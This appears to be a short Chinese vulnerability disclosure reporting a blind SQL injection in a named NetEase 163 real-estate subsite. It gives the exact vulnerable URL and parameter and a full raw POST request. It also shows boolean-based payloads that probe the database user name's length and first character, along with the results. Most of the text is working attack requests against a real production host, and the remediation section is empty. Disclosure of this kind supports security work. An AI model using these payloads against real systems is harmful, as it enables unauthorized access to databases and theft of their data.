网易163某分站存在SQL注入

网易163某分站存在SQL注入

xf.house.163.com/sz/qa/goodOrNo/0QWZ.html

post

id=280487 and (select length(user())=21)&productid=0QWZ&digType=yes_num


user长度21

第一位

POST /sz/qa/goodOrNo/0QWZ.html HTTP/1.1

Host: xf.house.163.com

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 79



id=280487 and (select ascii(mid(user(),1,1))=49)&productid=0QWZ&digType=yes_num
 

第一位1

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解决方案：

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